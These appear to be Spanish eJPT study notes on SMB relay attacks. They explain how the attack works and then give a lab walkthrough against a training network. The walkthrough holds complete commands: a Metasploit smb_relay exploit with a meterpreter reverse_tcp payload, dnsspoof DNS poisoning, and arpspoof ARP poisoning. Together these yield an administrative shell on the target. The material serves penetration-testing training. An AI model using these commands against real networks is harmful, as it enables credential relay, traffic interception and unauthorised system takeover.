> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-la-red/ataques-de-red/smb-relay-attack.md).

# SMB Relay Attack

## 🧨 ¿Qué es un SMB Relay Attack?

* Un **ataque SMB Relay** es un tipo de ataque en redes donde un atacante **intercepta tráfico SMB** (Server Message Block), lo **manipula** y lo **retransmite a un servidor legítimo** para obtener acceso no autorizado o ejecutar acciones maliciosas.
* Es **común en redes Windows**, donde SMB se usa para:
  * Compartición de archivos
  * Compartición de impresoras
  * Otros servicios de red

***

## 🛠️ ¿Cómo Funciona un SMB Relay Attack?

***

### 🔌 1. Interceptación

El atacante se posiciona como **man-in-the-middle (MitM)** entre el cliente y el servidor. Esto se puede lograr mediante:

* *ARP Spoofing*
* *DNS Poisoning*
* Configuración de un servidor SMB falso (rogue SMB server)

***

### 🔐 2. Captura de Autenticación

* Cuando el cliente se conecta a un servidor SMB legítimo, **envía datos de autenticación** (por ejemplo, hashes NTLM).
* El atacante **captura estos hashes** durante la comunicación interceptada.

***

### 🔁 3. Reenvío a un Servidor Legítimo

* El atacante **no necesita descifrar** el hash NTLM.
* En su lugar, lo **reenvía a otro servidor** dentro de la red que confía en el cliente original.
* Esto permite al atacante **suplantar al usuario autenticado**.

***

### 🚪 4. Acceso Ilegítimo

* Si el servidor acepta el hash, el atacante puede:
  * Acceder a **archivos sensibles**
  * Leer/alterar **bases de datos**
  * Obtener **privilegios administrativos**
  * Realizar **movimiento lateral** comprometiendo más sistemas

***

## 🧪 Laboratorio Práctico

## Escenario

Una pequeña empresa le contrata para realizar una evaluación de seguridad. Su cliente es **sportsfoo.com** y necesita su ayuda para evaluar la seguridad de su entorno, según el siguiente alcance:

**Los supuestos de este compromiso de seguridad son:**

1. Realizará una prueba de penetración interna, donde se conectará directamente a su red LAN **172.16.5.0/24** . El alcance de esta prueba es únicamente el segmento **172.16.5.0/24.**
2. Estás en una red de producción, por lo que no debes bloquear ninguna cuenta de usuario adivinando sus nombres de usuario y contraseñas.

La siguiente imagen representa el entorno LAB:

![Imagen de contenido](https://assets.ine.com/content/ptp/dns_and_smb_relay_attack/0.png)

#### Objetivos

* Explotación mediante **ataque de retransmisión SMB**
* Manipulación del tráfico de red con **dnsspoof**

***

## Solución

Paso 1: Inicia msfconsole y configura el exploit de SMB Relay\
Este módulo de Metasploit permite interceptar conexiones SMB (Server Message Block) y redirigirlas para capturar credenciales o ejecutar un payload si las credenciales son válidas.

```
msfconsole
use exploit/windows/smb/smb_relay
set SRVHOST 172.16.5.101
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.5.101
set SMBHOST 172.16.5.10
exploit
```

<figure><img src="/files/6Tt4zcOqMH4y8w3slIJT" alt=""><figcaption></figcaption></figure>

#### **Paso 2: Configura `dnsspoof` para redirigir a la víctima hacia tu máquina atacante**

Vamos a engañar a la víctima cuando trate de conectarse a cualquier subdominio del dominio `sportsfoo.com`, redirigiéndola a nuestra máquina (la del atacante).

1. Crea un archivo DNS falso que apunte todos los subdominios del dominio hacia tu IP atacante:

```bash
echo "172.16.5.101 *.sportsfoo.com" > dns
```

2. Inicia `dnsspoof` con la interfaz de red adecuada (en este caso, `eth1`):

```bash
dnsspoof -i eth1 -f dns
```

<figure><img src="/files/8VI1o4v2ERTGoUU4OOb8" alt=""><figcaption></figcaption></figure>

#### **Paso 3: Activa el ataque Man-in-the-Middle (MiTM) con `arpspoof`**

Vamos a envenenar la caché ARP de la víctima y del router para redirigir el tráfico a través de nuestra máquina. Esto es necesario para que `dnsspoof` pueda funcionar correctamente.

1. Habilita el reenvío de paquetes IP:

```bash
bashCopiarEditarecho 1 > /proc/sys/net/ipv4/ip_forward
```

2. En dos terminales separadas, ejecuta `arpspoof` para hacer ARP Spoofing entre la víctima (172.16.5.5) y la puerta de enlace (172.16.5.1):

**Terminal 1:**

```bash
arpspoof -i eth1 -t 172.16.5.5 172.16.5.1
```

**Terminal 2:**

```bash
arpspoof -i eth1 -t 172.16.5.1 172.16.5.5
```

<figure><img src="/files/v4FBCIHl9sDXzeVcEAsL" alt=""><figcaption></figcaption></figure>

📌 **Nota:** Con esto, cuando la víctima (Windows 7) intente conectarse a un recurso compartido SMB en `\\fileserver.sportsfoo.com\AnyShare`, la respuesta DNS falsa enviada por `dnsspoof` devolverá la IP del atacante (`172.16.5.101`) en lugar de la IP real. Esto provocará que el cliente se conecte por SMB a nuestra máquina, activando el exploit SMB Relay en Metasploit.

<figure><img src="/files/3zlBsldX7sWWXjqz4tlp" alt=""><figcaption></figcaption></figure>

Por ejemplo, en los resultados anteriores, el sistema Windows 7 de la víctima inició una conexión SMB hacia:

```
\\fileserver.sportsfoo.com\AnyShare
```

Sin embargo, debido al ataque de falsificación de DNS (`dnsspoof`), en lugar de recibir la dirección IP legítima de `fileserver.sportsfoo.com`, la víctima recibió como respuesta la IP del atacante:

```
172.16.5.101
```

Como resultado, la conexión SMB fue redirigida (secuestrada) hacia el atacante, estableciendo comunicación con:

```
\\172.16.5.101\AnyShare
```

En ese momento, Metasploit —que ya estaba ejecutando el módulo **SMB Relay**— interceptó la conexión SMB entrante. Este exploit captura los **hashes SMB** (credenciales) enviados por la víctima, y si dichas credenciales también son válidas en la máquina objetivo (en este caso `172.16.5.10`, configurada en el campo `SMBHOST` del módulo), las reutiliza automáticamente para establecer una sesión `meterpreter`.

<figure><img src="/files/dy2IVxaKDVqj4M7wZUay" alt=""><figcaption></figcaption></figure>

El ataque de retransmisión SMB tuvo éxito y pudimos obtener una sesión de meterpreter en la máquina objetivo. Esto fue posible gracias a que las credenciales utilizadas en el servidor de archivos y en la máquina objetivo son las mismas.

Paso 4: Interactúa con la sesión de Meterpreter\
Una vez que la conexión SMB se haya redirigido correctamente y el exploit haya funcionado, obtendrás una sesión de meterpreter en la máquina de destino.

```
sessions
sessions -i 1
getuid
```

<figure><img src="/files/RHbsSjBLjd50J07bzL1w" alt=""><figcaption></figcaption></figure>

En este laboratorio, pudimos engañar al cliente falsificando registros DNS, esto, a su vez, combinado con un ataque de retransmisión SMB, nos proporcionó una sesión de meterpreter en la máquina de destino con privilegios administrativos.
